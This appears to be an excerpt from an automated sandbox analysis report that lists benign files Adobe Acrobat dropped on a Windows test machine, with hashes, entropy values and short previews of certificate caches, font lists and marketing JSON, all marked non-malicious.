Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7334958239154146
Encrypted:	false
SSDEEP:	3:kkFklRzgCGDtfllXlE/HT8koLzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKPCyeT8xzdNMa8RdWBwRd
MD5:	783FF6560437B976598CAB403ABEDC25
SHA1:	61065E495DB3EEFD0E9C167AAA17E543312B9B40
SHA-256:	6A31AD7E502D62517990FEE814E011D819246CAFA23F00E3DDF6616E4BC56AEF
SHA-512:	29D6FBC8597742105FA390076F20C789296E23A7891C6370D685C6909B7A541BA1ED81912EE13707EE19AF5AEE3FCE24E9492BCBA5B27D97C851FA2C35C65F54
Malicious:	false
Preview:	p...... ........"../\|c..(....................................................... ..........W....M...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1307801111573577
Encrypted:	false
SSDEEP:	6:kKtDyL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:FyiDnLNkPlE99SNxAhUe/3
MD5:	1185BC5D6B36A347A7CB94B9CAA34CFD
SHA1:	793EBCFA16DF8BD05F214A84E62ED8AC25D2ECD6
SHA-256:	8C40A778344DAAEEFA25B16F76188A3C03A7ABAB321D1779CED63EC947038691
SHA-512:	34457287803D1E849B5098441C202546FF73A78A6D84A31D8392C458A30BE458D01FB2C6167B565BB967F130925BC471A20429EE13CC83FB803B9BA4E4D060BB
Malicious:	false
Preview:	p...... ........CfiA\|c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5840

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5840

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328683860882943
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJM3g98kUwPeUkwRe9:YvXKX/VEUKvR/ZwHATGMbLUkee9
MD5:	AC6915D154AA68D1E3AC118976418572
SHA1:	C04656823C6D0B9287011797AF1BE7102D041D6C
SHA-256:	AFF26FC5D89D183ADC0ECB4E15E9DE6C110CCC71398D27EBA31692C0F4321A1F
SHA-512:	5CD1FCEF2AF2EA8C83435826A83B31352C6BD8A5BD492F19669A99928E3C086723A809E10F3C97933E873366A6D581DAD4EB95D589F9AAA1BC019589F1146713
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26210501950911
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJfBoTfXpnrPeUkwRe9:YvXKX/VEUKvR/ZwHATGWTfXcUkee9
MD5:	4F6E8F5171672BF15D24F02D02639113
SHA1:	92AEFF03AFB22DA6988F282E9282B9D9EC771BE5
SHA-256:	356A9DDD99222D186BD684548A3F0EF7AAEABA3E2AFE578D77E1E107EA0DFF37
SHA-512:	5C47AF1378FA3F692BBD2E2E784F3FEC7DC6CA2CC84849A28BA8385553E08B69D3111F7843250D70D427C80507358B2A099949273780B7EF57977515ED430A01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.241020540566965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJfBD2G6UpnrPeUkwRe9:YvXKX/VEUKvR/ZwHATGR22cUkee9
MD5:	E547A13CA144DAFA242AF41EB5507208
SHA1:	884FCAC740EFBE27D1BFA4E1897C2A5C52A027D2
SHA-256:	D5259D12CF196CCAF7D32AA6C4FF58AAE305024A101DBB9B83381292C15F1C6C
SHA-512:	7643C4D60365E107FA947BF3996F19267650C7C29BA52AFD1E37E8D4F5CCD5E991F3C24B2DD270CF3033AACCC958A8C478C112411255A88280E013A866EA9729
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.304415581974405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJfPmwrPeUkwRe9:YvXKX/VEUKvR/ZwHATGH56Ukee9
MD5:	9DF8ECC5B50D32F0D2FCC1247F5D8846
SHA1:	E2B3C71985EAA0DB9BC9F10F6143CF10B45E32E6
SHA-256:	1868BA7C65FC5E266A1152E451E2C3D066BBBB533F5DEE84E9089DC2521E7E92
SHA-512:	8C9790F181A6AA3D97E08A7576A19D0896661F161B13442B14B9ACF5F3DDE29BD59597B145BF2438A85FE19BB2A463AD3BD3955F28C5996E2C0D9B6B3C77BF18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683337823617549
Encrypted:	false
SSDEEP:	24:Yv6X/CJhkpLgE9cQx8LennAvzBvkn0RCmK8czOCCSa:YvECJhkhgy6SAFv5Ah8cv/a
MD5:	F589D1D4D82FA7D02ECEACEEA7EA71BB
SHA1:	ED869B80490671DF698CAB92EA30FF83153252B8
SHA-256:	EF9B2782B11304AE6E4D797BEE9E5E627E654336F328E4AFE26052AAE5BC0D6E
SHA-512:	65FFB8AA0C6E5D182A2924672472A7CE15E02C3CC6F5DB4ED5E8DA2FF5DCE382F7E34216F7FF8048F51AC15AA3C6FBB4E37120C685ACAEE2C613E159871FC949
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252741545587613
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJf8dPeUkwRe9:YvXKX/VEUKvR/ZwHATGU8Ukee9
MD5:	9206D9830586807CF1683C64E295A577
SHA1:	91801FA3FED5E73D7326FCA7B36430EE2B4A34BE
SHA-256:	0801CAE8F054D366B7C426F5038F5D747F68186032F2D9309792FF5EE873F096
SHA-512:	EE09C6C305A7C2C2C97D1E4273355B76B85F2F204EABDD37D24B25C3AF88D60CB66F73579ADF3D8B7780AE6A469583216896EF4BCF861DAC45BD4AB42071F55F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.250524322984264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJfQ1rPeUkwRe9:YvXKX/VEUKvR/ZwHATGY16Ukee9
MD5:	D696F4B7C934775347E82F6E793C41A2
SHA1:	26BF39D2B0EFE241F3F6EF80EB05D04D42C6D959
SHA-256:	D4A69B5B2DDC65D93DC8D81F7BB147CD638EBC351FC3648325F4444436477A97
SHA-512:	FB5000B2B67E380EC93553B3E1C7306BC0CB77161450DB03B54B7F6ECBD0CF97A2ADE756C9ABF9558E599AEC111F810EC83FA0B95F253777BE5D02B1B66036E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269930081767195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJfFldPeUkwRe9:YvXKX/VEUKvR/ZwHATGz8Ukee9
MD5:	ECB34E265848284E85527FC257209CAD
SHA1:	E94FC78F9C1F02EE7EB48984D8BC6EFB12F8CA74
SHA-256:	D8FF8DEA336670F4A949B6788B34572F16FCB026E3B7B57A955363E2122C8C39
SHA-512:	677585FAA036257B22036E3F4B121D804700C03AF791E66346FF6289CF8B497D5D3FF11271CEB0B52B83B57A90501583D66B7CCCA2746FCE4494C1B887618A7C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.281681460365845
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJfzdPeUkwRe9:YvXKX/VEUKvR/ZwHATGb8Ukee9
MD5:	91A7E056E11AB29B00660946B4ED77CA
SHA1:	16D57731F185D84D9000C2E4669C353F60F0C863
SHA-256:	DC977B4D0D94CF843B95EB84FACBE69B127B951702ECC9EE535CEA5A321A14AB
SHA-512:	DA66D7B551A4676B84A2D9D1E7AFC40CC6D3D3DBD2F241CBBD9413515DE5A7125855C4CA8E04DCAAB3D6677B589BDA68AEF8733941838140733386B15098D441
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2612490564725185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJfYdPeUkwRe9:YvXKX/VEUKvR/ZwHATGg8Ukee9
MD5:	12C52769C008B5D74EBAC8235E934E1A
SHA1:	3797E0CA7C0707886D1C031F0AA6B8BEE7CDD338
SHA-256:	3589B3149AAE9ED53684166A6BE6BC2948600EEE969FB2062E398EA5157DD107
SHA-512:	863FF77C8030FBBA961F97EBB452BDFA3E609AFA18ADACA4F7D423C9DD5C5DA7865B07CA2B9B7E841B3E144FBC0DB4AF8C5B305C834B424037D581709D190D4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.247720136907061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJf+dPeUkwRe9:YvXKX/VEUKvR/ZwHATG28Ukee9
MD5:	D31B81FC59B0CD1C906BD2F74F7019A6
SHA1:	1F1133DBF1163DC532BA1B26D36E994792893354
SHA-256:	21ECF3CDE436D1B7854AD66C1FCB9EA73EB8719774716F4A65B1C0EEFF2C2C7A
SHA-512:	82190F4C371304D0A7E4B7D28CE9975858C80CEB3827F623061456FC741B735F74B3F5789E015DD59F37F60E41BAB29D98BBBE65B3112CFB0E652DDB9FAA01EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.245062483655164
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJfbPtdPeUkwRe9:YvXKX/VEUKvR/ZwHATGDV8Ukee9
MD5:	FB01D9A2571A46826FDBF5A12B3A0469
SHA1:	4E03C0F53C4B9832D95F8FA9517D091646FA0BF4
SHA-256:	F2753B28FC4C560BDE7A2A5F153FD0A12A7C84A5594FD079E8C9F2EC2AC98381
SHA-512:	F522ED29783D9608E44D19BBB1785F8B1869029C7422EB28E45111EEF1017F2BBCDF5694AAB428AEDE15B7C68DA88328BD49BDCD3BE21BD8EE347CCE904C3DBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.243254681357957
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTrVEUKvB3/dVlPIHAR0YMoAvJf21rPeUkwRe9:YvXKX/VEUKvR/ZwHATG+16Ukee9
MD5:	7B28976D4924F564EE366CE9C6F4DCB4
SHA1:	4D74176B31CBD20E1E3B56F713E90D08592C7CD4
SHA-256:	BA868E7DD59D2297D35BCA374447372E3D59E0AD22B8E727D670A6A47056C21A
SHA-512:	E834113275F97271EE8FB024D1E731AC5C81799E8A69533AC34E53793ABD964E4D81F8247461A160DD75953E0DE6838F195A0FE1A7B6F3442E180EF6EEF303F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5c30eea-30ce-466b-986c-b3b7322ee910","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736701796046,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

